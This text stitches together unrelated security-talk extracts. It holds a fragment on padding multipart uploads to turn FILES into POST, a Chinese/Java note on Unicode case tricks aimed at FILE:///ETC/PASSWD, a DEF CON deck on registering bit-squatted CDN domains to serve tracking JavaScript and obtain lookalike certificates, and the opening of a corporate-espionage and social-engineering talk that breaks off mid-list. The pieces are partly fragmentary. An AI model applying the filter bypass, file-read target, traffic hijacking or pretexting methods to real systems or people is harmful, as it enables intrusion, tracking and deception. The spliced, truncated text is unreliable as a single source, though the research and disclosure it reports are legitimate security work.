["o"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpHuAUlt"
["error"]=>
int(0)
["size"]=>
int(1)
}
["p"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg9JuPK"
["error"]=>
int(0)
["size"]=>
int(1)
}
["q"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpOm7Vx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["r"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpg1iKx9"
["error"]=>
int(0)
["size"]=>
int(1)
}
["s"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpKnTJgz"
["error"]=>
int(0)
["size"]=>
int(1)
}
["t"]=>
array(5) {
["name"]=>
string(5) "1.png"
["type"]=>
string(9) "image/png"
["tmp_name"]=>
string(26) "/private/var/tmp/phpJaXwzl"
["error"]=>
int(0)
["size"]=>
int(1)
}
}
如果删除前面的 a-t 共计 20 个构造的 part,实际的效果并不能引起 POST 攻击。如下
图所示:
但是,如果拼接了这 20 个 part,实际上就填满了 Maximum,导致最后一个 upload 无
法生效,就只能从 FILES 转化为 POST 了。 | pdf |
0x00
asciijava
p
2014https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
ſ //S
ı //I
K //k
p
2014javascriptjava
0x01
FILE:///ETC/PASSWD
java
javabean
org.apache.commons.beanutils.BeanUtils
formField
person
Sex
ſ s
0x02
javabean | pdf |
Investigating the Practicality
and Cost of Abusing
Memory Errors with DNS
Project Bitfl1p by Luke Young
$ whoami
Undergraduate Student - Sophomore
Founder of Hydrant Labs LLC
This presentation is based upon research conducted as a employee of
Hydrant Labs LLC and was not supported or authorized by any previous,
current, or future employers with the exception of Hydrant Labs LLC.
Email: [email protected]
LinkedIn: https://www.linkedin.com/in/innoying
Twitter: @innoying
Agenda
What is a bitflip and their history
What is bit-squatting and how it works
Project Bitfl1p’s use of bit-squatting
Code and partial data release
Q&A
What is a bitflip?
or
1
0
0
1
What causes a bitflip?
Heat
Electrical Problems
Radioactive Contamination
Cosmic Rays
History of bitflips
“Using Memory Errors to
Attack a Virtual
Machine” - Princeton
University in 2003
Rowhammer
“Flipping Bits in Memory Without Accessing Them: An
Experimental Study of DRAM Disturbance Errors” -
Carnegie Mellon University in 2014
“Exploiting the DRAM rowhammer bug to gain kernel
privileges” - Google’s Project Zero
What is bit-squatting?
Named by Artem Dinaburg
Purchasing of domain names that are one bit away
from the legitimate name.
c
n
n
.
c
o
m
01100011 01101110 01101110 00101110 01100011 01101111 01101101
c
o
n
.
c
o
m
01100011 01101111 01101110 00101110 01100011 01101111 01101101
Example of bit-squatting
Generating valid bit-squats
e
01100101
u
m
a
g
d
01100101
01101101
01100001
01100111
01100100
www.defcon.org
Generating valid bit-squats
www.defcon.org
n
01101110
.
00101110
o
01101111
/
00101111
$ bf-lookup www.defcon.org
vww.defcon.org
uww.defcon.org
sww.defcon.org
gww.defcon.org
7ww.defcon.org
wvw.defcon.org
wuw.defcon.org
wsw.defcon.org
wgw.defcon.org
w7w.defcon.org
wwv.defcon.org
wwu.defcon.org
wws.defcon.org
wwg.defcon.org
ww7.defcon.org
wwwndefcon.org
www.eefcon.org
www.fefcon.org
www.lefcon.org
www.tefcon.org
www.ddfcon.org
www.dgfcon.org
www.dafcon.org
www.dmfcon.org
www.dufcon.org
www.degcon.org
www.dedcon.org
www.debcon.org
www.dencon.org
www.devcon.org
www.defbon.org
www.defaon.org
www.defgon.org
www.defkon.org
www.defson.org
www.defcnn.org
www.defcmn.org
www.defckn.org
www.defcgn.org
www.defcoo.org
www.defcol.org
www.defcoj.org
www.defcof.org
Previous bit-squatting
Artem Dinaburg - DEF CON 19
Jaeson Schultz - DEF CON 21
Robert Stucke - DEF CON 21
Project Bitfl1p
Detect and analyze the frequency of bit flips for an
average internet user through the use of bit-squatting
Browser
DNS Resolver
DNS Root
DNS Question (A)
code.jquery.com
DNS Question (A)
code.jquery.com
Browser
DNS Resolver
DNS Root
DNS Question (A)
code.jquesy.com
DNS Question (A)
code.jquery.com
Browser
DNS Resolver
DNS Root
DNS Answer (NS)
ns1.bitfl1p.com
ns2.bitfl1p.com
DNS Answer (NS)
ns1.bitfl1p.com
ns2.bitfl1p.com
DNS Question (NS)
jquesy.com
DNS Question (A)
code.jquery.com
DNS Question (A)
code.jquesy.com
DNS Question (NS)
jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
DNS Answer (A)
code.jquery.com
168.235.68.44
DNS Answer (A)
code.jquesy.com
168.235.68.45
DNS Answer (A)
code.jquery.com
168.235.68.44
DNS Answer (A)
code.jquesy.com
168.235.68.45
DNS Question (A)
code.jquery.com
DNS Question (A)
code.jquesy.com
DNS Question (A)
code.jquesy.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
DNS Answer (A)
code.jquery.com
168.235.68.44
DNS Answer (A)
code.jquery.com
168.235.68.44
DNS Question (A)
code.jquery.com
DNS Question (A)
code.jquesy.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
HTTP GET
/jquery.js
Host: jquery.com
HTTP 301 Moved
{uuid}.https.bitlf1p.com/
jquery.js
HTTP 301 Moved
{uuid}.https.bitlf1p.com/
jquery.js
DNS Q (A) code.jquesy.com
HTTP GET
/jquery.js
Host: code.jquery.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (A) code.jquery.com
DNS A (A) code.jquery.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 301 $.https.bitfl1p.com
HTTP 301 $.https.bitfl1p.com
DNS Question (A)
$.https.bitfl1p.com
DNS Question (A)
$.https.bitfl1p.com
DNS Question (A)
$.https.bitfl1p.com
DNS Answer (A)
$.https.bitfl1p.com
168.235.68.44
DNS Answer (A)
$.https.bitfl1p.com
168.235.68.44
DNS Answer (A)
$.https.bitfl1p.com
168.235.68.44
DNS Q (A) code.jquesy.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (A) code.jquery.com
DNS A (A) code.jquery.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 301 $.https.bitfl1p.com
HTTP 301 $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
HTTP GET
/jquery.js
Host: $.https.bitfl1p.com
HTTP GET
/jquery.js
Host: $.https.bitfl1p.com
DNS Q (A) code.jquesy.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (A) code.jquery.com
DNS A (A) code.jquery.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 301 $.https.bitfl1p.com
HTTP 301 $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 200
/tracking.js
HTTP 200
/tracking.js
DNS Q (A) code.jquesy.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (A) code.jquery.com
DNS A (A) code.jquery.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
Browser
DNS Resolver
Project Bitfl1p
DNS A (NS) ns1.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 301 $.https.bitfl1p.com
HTTP 301 $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS Q (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
DNS A (A) $.https.bitfl1p.com
HTTP GET /jquery.js
HTTP GET /jquery.js
HTTP 200 /tracking.js
HTTP 200 /tracking.js
Malicious JS Execution
DNS Q (A) code.jquesy.com
DNS Q (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (A) code.jquery.com
DNS A (A) code.jquery.com
DNS A (A) code.jquesy.com
DNS A (A) code.jquery.com
DNS Q (NS) jquesy.com
> bf-dns
Golang
DNS server designed to answer bit squatted domain
queries
> bf-www
Lighttpd
HTTP configuration and PHP scripts
Tracking JavaScript
Installed plugins, user agent, timezone, langauge,
referer, document title, screen size/resolution, current
URL, doNotTrack value
Installed fonts via flash
Local IPs via WebRTC sdp
Cookie names and SHA256 hashed value
Selecting a host (Ramnode)
Multiple IPv4 addresses
IPv6 support
Smaller
High and cheap bandwidth
Hosted on 2GB RAM, 2 IPv4, a /64 IPv6 addresses, 80GB
SSD cached, 3TB bandwidth a month
Price/Month: $15.50 USD
Selecting domains
Captured traffic for a day
Purchased flips of top (interesting) domains
googleusercontent.com
Chosen because it serves images for Google
Long name, increases probability of a flip
googleusercontent.com
coogleusercontent.com
eoogleusercontent.com
ggogleusercontent.com
gkogleusercontent.com
gmogleusercontent.com
gnogleusercontent.com
goggleusercontent.com
gokgleusercontent.com
gomgleusercontent.com
gongleusercontent.com
goocleusercontent.com
gooeleusercontent.com
googdeusercontent.com
googheusercontent.com
googlausercontent.com
googldusercontent.com
google5sercontent.com
googleqsercontent.com
googletsercontent.com
googleu3ercontent.com
googleucercontent.com
googleuqercontent.com
googleurercontent.com
googleusdrcontent.com
googleuse2content.com
googleusepcontent.com
googleuseraontent.com
googleuserbontent.com
googleusercgntent.com
googleuserckntent.com
googleusercmntent.com
googleusercnntent.com
googleusercoftent.com
googleusercojtent.com
googleusercoltent.com
googleusercon4ent.com
googleusercondent.com
googleuserconpent.com
googleusercontdnt.com
googleuserconteft.com
googleusercontejt.com
googleusercontelt.com
googleuserconten4.com
googleusercontend.com
googleusercontenp.com
googleusercontenu.com
googleusercontenv.com
googleuserconteot.com
googleusercontgnt.com
googleusercontmnt.com
googleusercontunt.com
googleuserconuent.com
googleuserconvent.com
googleusergontent.com
googleuserkontent.com
googleusersontent.com
googleusescontent.com
googleusevcontent.com
googleusezcontent.com
googleusgrcontent.com
googleusmrcontent.com
googleusurcontent.com
googleuwercontent.com
googlewsercontent.com
googlgusercontent.com
googlmusercontent.com
googluusercontent.com
googmeusercontent.com
googneusercontent.com
goooleusercontent.com
goowleusercontent.com
woogleusercontent.com
Panic…
More panic…
mail-attachment.googleusercontent.com - Mail
Attachments
oauth.googleusercontent.com - OAuth authentication
themes.googleusercontent.com - Google fonts
webcache.googleusercontent.com - Google cached pages
translate.googleusercontent.com - Google translated
webpages
cloudfront.net
CDN for Amazon CloudFront
Commonly used to serve JS, CSS, and media
43 possible bit-squats, 4 already registered
Registered 39 of them
cloudfront.net
aloudfront.net
bloudfront.net
cdoudfront.net
clgudfront.net
clkudfront.net
clmudfront.net
clnudfront.net
clo5dfront.net
cloqdfront.net
choudfront.net
clotdfront.net
cloudbront.net
cloudf2ont.net
cloudfbont.net
cloudfpont.net
cloudfrgnt.net
cloudfrknt.net
cloudfrmnt.net
cloudfrnnt.net
cloudfroft.net
cloudfrojt.net
cloudfrolt.net
cloudfron4.net
cloudfrond.net
cloudfronp.net
cloudfronu.net
cloudfronv.net
cloudfroot.net
cloudfsont.net
cloudfvont.net
cloudfzont.net
cloudnront.net
cloudvront.net
clouefront.net
cloulfront.net
cmoudfront.net
cnoudfront.net
kloudfront.net
sloudfront.net
amazonaws.com
Serves pretty much all AWS services as subdomains
excluding CloudFront.
Includes Amazon S3, ELB, and EC2
38 possible bit-squats, 37 were registered
33 were already registered by Amazon!
amazonass.com
s3namazonaws.com
compute-1namazonaws.com
compute-2namazonaws.com
elbnamazonaws.com
doubleclick.net
Serves Google Ads
Mainly via JavaScript
45 possible bit-squats, 19 already registered
doubleclick.net
dgubleclick.net
dkubleclick.net
dnubleclick.net
dmubleclick.net
doqbleclick.net
dotbleclick.net
doublecliak.net
doubleblick.net
doubleclibk.net
doublecligk.net
doubleclicc.net
doubleclikk.net
doubleclisk.net
doubleclmck.net
doublecnick.net
doublecmick.net
doublmclick.net
doubleglick.net
doubluclick.net
doubmeclick.net
doubneclick.net
doucleclick.net
doufleclick.net
doujleclick.net
dowbleclick.net
dourleclick.net
apple.com
Most apple services are served via subdomains
21 possible bit-squats, 1 available: applg.com
icloud.com
iOS/OSX devices check-in regularly
Receives emails for icloud.com accounts
25 possible bit-squats, 17 registered already
icdoud.com, iclgud.com, iclkud.com, iclmud.com,
iclnud.com, icloqd.com, iclotd.com, icnoud.com
jquery.com
JavaScript compatibility script
Used by over 70% of the top 10,000 sites
26 possible bit-squats, 9 already registered
jquery.com
jauery.com
jqqery.com
jpuery.com
jqtery.com
jqueby.com
jquepy.com
jquerq.com
jquerx.com
jquesy.com
jquevy.com
jqugry.com
jquezy.com
jqumry.com
jsuery.com
juuery.com
disqus.com
Blog comment hosting service
Roughly 750,000 thousand blogs/web-sites use it
27 possible bit-squats, 3 already registered
disqus.com
dhsqus.com
di3qus.com
diqqus.com
dirqus.com
dis1us.com
disaus.com
disqqs.com
disq5s.com
disqts.com
disqu3.com
disquc.com
disquq.com
disqur.com
disquw.com
disqws.com
disuus.com
diwqus.com
disyus.com
dksqus.com
dmsqus.com
eisqus.com
dysqus.com
tisqus.com
lisqus.com
google-analytics.com
The most widely used website statistics service
63 possible bit-squats, 53 already registered
googlm-analytics.com, googlg-analytics.com, googne-
analytics.com, gooole-analytics.com, ggogle-
analytics.com, gmogle-analytics.com, gomgle-
analytics.com, gooele-analytics.com, googde-
analytics.com, google-alalytics.com
sfdcstatic.com
CDN for SalesForce
SalesForce is one of the largest cloud computing
companies in the world
42 possible bit-squats
sfdcstatic.com
3fdcstatic.com
cfdcstatic.com
qfdcstatic.com
rfdcstatic.com
sbdcstatic.com
sfdbstatic.com
sfdcrtatic.com
sfdcqtatic.com
sfdastatic.com
sfdcctatic.com
sfdc3tatic.com
sfdcsdatic.com
sfdcs4atic.com
sfdcsta4ic.com
sfdcstadic.com
sfdcstatia.com
sfdcspatic.com
sfdcstathc.com
sfdcstapic.com
sfdcstatib.com
sfdcstatis.com
sfdcstavic.com
sfdcstatyc.com
sfdcstauic.com
sfdcstatik.com
sfdcstatig.com
sfdcstatkc.com
sfdcstatmc.com
sfdcstctic.com
sfdcstqtic.com
sfdcsvatic.com
sfdcsuatic.com
sfdcwtatic.com
sfdkstatic.com
sfdgstatic.com
sfecstatic.com
sfdsstatic.com
sflcstatic.com
sftcstatic.com
sndcstatic.com
svdcstatic.com
wfdcstatic.com
aspnetcdn.com
Microsoft’s Ajax Content Delivery Network
Serves Microsoft sites, and many jQuery plugins
39 possible bit-squats, 1 already registered
aspnetcdn.com
a3pnetcdn.com
acpnetcdn.com
arpnetcdn.com
aqpnetcdn.com
as0netcdn.com
aspfetcdn.com
aspjetcdn.com
aspndtcdn.com
aspletcdn.com
aspne4cdn.com
aspnedcdn.com
aspnepcdn.com
aspnetadn.com
aspnetbdn.com
aspnetcdf.com
aspnetcdj.com
aspnetcdl.com
aspnetcdo.com
aspnetcen.com
aspnetcln.com
aspnetctn.com
aspnetgdn.com
aspnetkdn.com
aspnetsdn.com
aspneucdn.com
aspnevcdn.com
aspngtcdn.com
aspoetcdn.com
aspnmtcdn.com
asqnetcdn.com
asrnetcdn.com
astnetcdn.com
awpnetcdn.com
asxnetcdn.com
espnetcdn.com
cspnetcdn.com
qspnetcdn.com
ispnetcdn.com
googleapis.com
Google’s JS Content Delivery Network
Serves Angular JS, Prototype, etc
39 possible bit-squats, 27 registered
googleapis.com
coogleapis.com
eoogleapis.com
ggogleapis.com
gkogleapis.com
gmogleapis.com
gnogleapis.com
goggleapis.com
gokgleapis.com
gomgleapis.com
goocleapis.com
gooeleapis.com
googdeapis.com
googheapis.com
googldapis.com
googlgapis.com
googlmapis.com
googmeapis.com
googneapis.com
goowleapis.com
goooleapis.com
ooogleapis.com
woogleapis.com
gstatic.com
Google static content hosting
Serves pages like Chrome’s connectivity test
Also purchased by Artem Dinaburg and Robert Stucke
30 possible bit-squats, 11 registered
gstatic.com
gs4atic.com
gsdatic.com
gspatic.com
gsta4ic.com
gstadic.com
gstapic.com
gstathc.com
gstatia.com
gstatib.com
gstatig.com
gstatkc.com
gstatmc.com
gstatyc.com
gstavic.com
gstauic.com
gstctic.com
gstqtic.com
gsuatic.com
gsvatic.com
fbcdn.net
Facebook’s CDN
19 possible bit-squats, 3 available
fbadn.net, fbcdj.net, frcdn.net
ytimg.com
YouTube’s CDN
22 possible bit-squats, 3 available
ytieg.com, yti-g.com, y4img.com
twimg.com
Twitter’s CDN
23 possible bit-squats, 9 available
4wimg.com, t7img.com, twhmg.com, twi-g.com,
twimw.com, twilg.com, twkmg.com, twmmg.com,
uwimg.com
Purchasing 337 Domains
on a college budget
Coupons!
1&1
Final statistics
89 from GoDaddy
255 from 1&1
Average cost per domain: $1.62
Total: $545.44
Purchasing SSL Certificates
Wildcard SSL Certificates
$595 per wildcard certificate from DigiCert
$595 * 337 domains = $200,000+
StartSSL
60$ for Class 2 Identity/Organization verification
Issued 103 wildcard certificates
17 flagged for manual review, all approved
Certificates Issued
*.aloudfront.net
*.amazonass.com
*.applg.com
*.bloudfront.net
*.cdoudfront.net
*.choudfront.net
*.clgudfront.net
*.clkudfront.net
*.clmudfront.net
*.clnudfront.net
*.clo5dfront.net
*.cloqdfront.net
*.clotdfront.net
*.cloudbront.net
*.cloudf2ont.net
*.cloudfbont.net
*.cloudfpont.net
*.cloudfrgnt.net
*.cloudfrknt.net
*.cloudfrmnt.net
*.cloudfrnnt.net
*.cloudfroft.net
*.cloudfrojt.net
*.cloudfrolt.net
*.cloudfron4.net
*.cloudfrond.net
*.cloudfronp.net
*.cloudfronu.net
*.cloudfronv.net
*.cloudfroot.net
*.cloudfsont.net
*.cloudfvont.net
*.cloudfzont.net
*.cloudnront.net
*.cloudvront.net
*.clouefront.net
*.cloulfront.net
*.cmoudfront.net
*.cnoudfront.net
*.coogleapis.com
*.dgubleclick.net
*.dhsqus.com
*.dkubleclick.net
*.doubleblick.net
*.doublecliak.net
*.doubleclibk.net
*.doubleclicc.net
*.doublecligk.net
*.doubleclikk.net
*.doubleclisk.net
*.doubleclmck.net
*.doublecmick.net
*.doublecnick.net
*.doubleglick.net
*.eoogleapis.com
*.ggogle-analytics.com
*.ggogleapis.com
*.gkogleapis.com
*.gmogle-analytics.com
*.gmogleapis.com
*.goggleapis.com
*.gokgleapis.com
*.gomgle-analytics.com
*.gomgleapis.com
*.goocleapis.com
*.gooele-analytics.com
*.gooeleapis.com
*.googde-analytics.com
*.googlm-analytics.com
*.googne-analytics.com
*.gooole-analytics.com
*.goooleapis.com
*.goowleapis.com
*.gs4atic.com
*.gsdatic.com
*.gspatic.com
*.gsta4ic.com
*.gstadic.com
*.gstapic.com
*.gstathc.com
*.gstatia.com
*.gstatib.com
*.gstatig.com
*.gstatkc.com
*.gstatmc.com
*.gstatyc.com
*.gstauic.com
*.gstavic.com
*.gstctic.com
*.gstqtic.com
*.gsuatic.com
*.gsvatic.com
*.icdoud.com
*.iclgud.com
*.iclkud.com
*.iclmud.com
*.iclnud.com
*.icloqd.com
*.iclotd.com
*.icnoud.com
*.jsuery.com
*.kloudfront.net
*.sloudfront.net
Login Revoked!
“I'm sorry, but for high-profile names only the name
owner should be able to get certificates for it and those
resembling them closely never issued.”
“Most certificates really shouldn't have been issued to
start with.”
StartCom Response
Excerpt from StartCom
Certificate Policy
“The StartCom Certification Authority performs additional
sanity and fraud prevention checks in order to limit
accidental issuing of certificates whose domain names
might be misleading and/or might be used to perform an
act of fraud, identity theft or infringement of trademarks.
For example domain names resembling well known
brands and names like PAYPA1.COM and
MICR0S0FT.COM, or when well known brands are part of
the requested hostnames like FACEBOOK.DOMAIN.COM
or WWW.GOOGLEME.COM.”
Potential problem domains
*.eoogleapis.com
*.ggogleapis.com
*.gkogleapis.com
*.gmogleapis.com
*.goggleapis.com
*.gokgleapis.com
*.gomgleapis.com
*.goocleapis.com
*.gooeleapis.com
*.goooleapis.com
*.goowleapis.com
*.ggogle-analytics.com
*.gmogle-analytics.com
*.gomgle-analytics.com
*.gooele-analytics.com
*.googde-analytics.com
*.googlm-analytics.com
*.googne-analytics.com
*.gooole-analytics.com
Timeline
7/29/14 - Identity/Organization verification completed
8/14/14 - Certificate requests started
8/25/14 - Login certificate revoked
10/16/14 - Certificates revoked
Mass revocation
Remaining certificates
*.applg.com
*.jsuery.com
*.dhsqus.com
*.gsta4ic.com
*.gstatig.com
*.gs4atic.com
*.gsdatic.com
*.gsuatic.com
*.gstqtic.com
*.gstapic.com
*.gstadic.com
*.gstatmc.com
*.gstatkc.com
*.gstatia.com
“Everything we haven't revoked so far was considered
not so problematic and hence we left them to expire
naturally.”
*.gstatib.com
*.gspatic.com
*.gstavic.com
*.gsvatic.com
*.gstctic.com
*.gstauic.com
*.gstatyc.com
*.gstathc.com
The Future
EFF’s Let’s Encrypt CA
Large vendors
Did anybody else even
notice?
Getting noticed
“One example would be in the gstatic.com domain that
was used in the demonstrations and presentations:
gstatic.com – October 2013 – 26 squats unregistered
gstatic.com – October 2014 – 0 squats unregistered
This reduction in availability was observed in other domains
too, interestingly most of the gstatic squats and some of
the other domains appear to have been registered by the
same individual with the name servers at bitfl1p.com so at
least some one is having fun :)” - x8x.net
Uh oh…
Uh oh…
Uh oh…
Payment Issues (Stripe)
Wells Fargo says they’re approving the transaction
“I had a look at that charge and we have reason to
believe that that card has been associated with
fraudulent activity.”
“We are indeed blocking it on our end due to a level of
risk on this card that we're not willing to take. I know
this a very vague reason, but for security purposes I'm
limited in how much information I am able to give out.”
The Data
DNS Queries
DNS Queries
Over 1 million queries every 24 hours
4.8% result in TCP connections
85% of initiated SSL connections complete the
handshake and issue a HTTP request
HTTP Access Logs
2.4 million requests
Repeat users remain cached for an average of 4.33
requests
Language
Other
4%
ja-jp
1%
ja
1%
en-us
4%
Unknown
5%
zh-cn
83%
pt-br
2%
ru-ru
2%
Other
8%
en-us
14%
Unknown
20%
zh-cn
54%
Screen resolution
768x1024
6%
1920x1080
8%
1024x768
9%
1600x900
10%
1440x900
12%
1366x768
23%
Other
32%
IPv6 adoption
1.67% queries delivered via IPv6
1.17% of address record queries for AAAA (IPv6)
Browser Usage
Sogou Explorer
9%
Android
3%
Safari
6%
Firefox
6%
Other
10%
IE
19%
Chrome
47%
IE
17%
Android
13%
Opera
3%
Safari
22%
Other
6%
Firefox
12%
Chrome
28%
OS Usage
Other
10%
Mac OS X
2%
Win 8
5%
Win Vista
3%
iOS
5%
Android
5%
Win XP
27%
Win 7
43%
Other
7%
Mac OS X
5%
Win 8
7%
Win Vista
2%
iOS
37%
Android
13%
Win XP
5%
Win 7
25%
Cookies
240,000 cookie names and hashed value pairs
Top cookies from:
Google analytics
Baidu
weather.com
Top Google Searches
wood birthday gifts for wife
welding gun mig
sew in weave
mariah carey nude
golf 1.4 tsi
Clarence porn
Local IP Addresses
158,834 IP Addresses collected
12% have non private IP addresses
Local IP Addresses
192.168.1.102
192.168.1.103
192.168.1.2
Other
192.168.1.101
192.168.1.100
SMTP Traffic
AS13414 (Twitter Inc.)
38.44% of DNS traffic
199.16.156.0/22
199.59.148.0/22
AS13414 SMTP Traffic
2.3% - MX, 93.7% - A record queries
Roughly 390 SMTP connection attempts per day
Twitter Response
“After some discussion, it looks like we're going to try
to restrict outbound traffic from our network to bit
flipped domains. This should address these specific
problems you outlined without having to own the
domains or worrying about who does.”
> bf-splunk
Sourcetypes for bf-dns, lighttpd output logs
Tools for analysis
Various pre-configured indexes, etc
Remediation
Buy your bit flips.
Buy your bit flips.
Buy your bit flips.
Use ECC Memory and setup an RPZ for common flips
Vendor Responses
Salesforce
42 domains
Response time under 2 hours
Transfer initiated in under 24
Apple
9 domains
Timeline:
6/15 - Reported
6/15 - Vendor initial ACK
6/17 - Domains unlocked and transfer process
initiated
Amazon AWS
44 domains
Timeline:
6/15 - Reported
6/15 - Vendor initial ACK
6/18, 6/19, 6/23 - Vendor requests conference call
to discuss issue, further correspondence planning
6/25 - Conference Call
6/30 - Domains unlocked and transfer process
initiated
Facebook
3 domains
Timeline:
6/15 - Reported
6/15 - Vendor initial ACK
7/1 - Vendor requests transfer codes
7/6 - Domains unlocked and transfer codes sent
Microsoft
38 domains
Timeline:
6/15 - Reported
6/15 - Vendor initial ACK
6/29 - Attempted vendor contact
7/6 - Attempted vendor contact
7/16 - Attempted vendor contact
7/26 - Attempted vendor contact
7/30 - Attempted vendor contact
8/4 - Domains unlocked and transfer process initiated
Twitter
9 domains
Timeline:
6/15 - Reported
6/17 - Vendor declines domain transfer
Twitter Response
“We don't actively try to prevent bit flipping attacks by
registering all the nearby domain names due to the fact
these attacks are relatively rare and that we own a lot
of domains and so this would be quite an undertaking.
So we are not interested in acquiring the domains you
have, please just maintain possession of them until
they expire.”
Google
152 domains
Timeline:
6/15 - Reported
6/15 - Vendor initial ACK
6/29 - Attempted vendor contact
7/4 - Attempted vendor contact
7/6 - Vendor declines domain transfer
Google Response
“Our domains team let us know they won't be trying to
grab these, so you can just let them expire… The sheer
number of bit-flipping possibilities makes this an
unbounded game of whack-a-mole.”
Data Release
Complete JSON DNS logs
src, dst, port, qName, qType, qClass, type
Anonymized Webserver logs
hashedSrc, dst, accept, acceptEncoding, acceptLanguage,
httpHost, method, userAgent, protocol, bytesIn, bytesOut
Anonymized SSL
hashedSrc, dst, port, version, cipher, curve, server_name,
session_id
Anonymized SMTP logs
hashedSrc, dst, port, helo
Project Bitfl1p - Luke Young
Email: [email protected]
LinkedIn: https://www.linkedin.com/in/innoying
Website (with Code & Data Dumps): www.bitfl1p.com | pdf |
Intelligence Gathering
DefCon X
Vic Vandal
[email protected]
NECESSARY DISCLAIMER:
This talk discusses various illegal techniques and concepts.
The author does not endorse nor does he condone the
execution of any of those illegal activities discussed.
ESPECIALLY the Information Warfare concepts.
Types of Intelligence Gathering
Competitive Intelligence
Corporate Espionage
Information Warfare
Personal Investigation
(*This talk is NOT about going to school to “become intelligent”, in case
anyone expected that to be covered.)
Competitive Intelligence
Relies solely on legal and ethical means to gather
data, piece it together to form information, and
analyze it to create intelligence for the use of
decision-makers
Over 95 percent of the information companies
require to compete successfully is available in the
public domain
Helps organizations better understand their
competitive environment and make sound business
decisions
Corporate Espionage
Corporate Espionage
“Espionage” - the collection, collation, and analysis of illicitly gained
information
“Corporate Espionage” - the theft of trade secrets for economic gain
“Trade Secret” - property right which has value by providing an
advantage in business over competitors who do not know the secret
International Trade Commission estimates current annual losses to
U.S. industries due to corporate espionage to be over $70 billion
How It’s Generally Done
Over 70% of capers involve “Inside Jobs”
– Disgruntled employees
– Bribes from a competitor
– Cleaning crews
– Industrial mole
False Pretenses
– Companies hire a competitors employee for their trade
knowledge
– Applicant interviews only to pump potential employer for
information, or vice versa
– Spy pretends to be a student, journalist, or venture capitalist
Who’s Doing It?
Foreign governments and corporations
– Russia, China, South Korea, India, Pakistan, Germany, Israel,
Argentina, Taiwan, Indonesia, France, etc.
– FBI indicates that 57 of 173 nations are running operations to
actively target U.S. corporations
– U.S. “officially” does not participate…(COUGH)
Employees
Professional industrial spies
Members of the Society for Competitive Intelligence Professionals
Business consultants (some in this room?)
H4x0rs (also some in this room?)
What’s Useful to an Attacker?
Structure – organization hierarchical structures, departmental diagrams, etc.
Infrastructure – phone system network diagrams, enterprise IT network diagrams, IT
groups, support groups, utilities providers (phone/power/water etc),
People – Phone directories, e-mail address books, who’s who directories etc, visitor
instructions, new starter induction packs (i.e., everything you need to know to get
around!).
Geography – super-imposed on hierarchical structures – where is the IT department,
where are the servers, etc.
Security Enforcing Functions – physical access control, password policy, hardware
re-use, firewall / IDS use, e-mail policies, phone-use policies, etc.
Networks – detailed network topologies IP & phone – including firewall, router, and
proxy positions.
Software/hardware – what machines are used, operating systems (service pack & hot
fix /patch levels), server software, host software, database software, web server server
software, and administration policies.
The Basic Methodology
Initial Public Intelligence
Social Engineering
Physical Security Analysis
Network Analysis
Information System Attacks
Initial Public Intelligence
Meta-Search engines (DogPile, WebFerret), used initially and as more
collaborative data is gathered
Company searches - the SEC Edgar database
(www.sec.gov/edgarhp.htm) - all information is free
Gathering names (for later identity spoofing, social engineering,
tracing)
Gathering phone numbers (for later contacts or war-dialing)
Finding IT suppliers (to help determine network components)
Check newsgroups, web boards, and industry feedback sites for
company info (may yield LOTS of information)
Social Engineering
Generally done remotely - requires a degree of deception,
masquerade, and motivation
Examples are:
– Gain access privileges by querying administrative personnel over
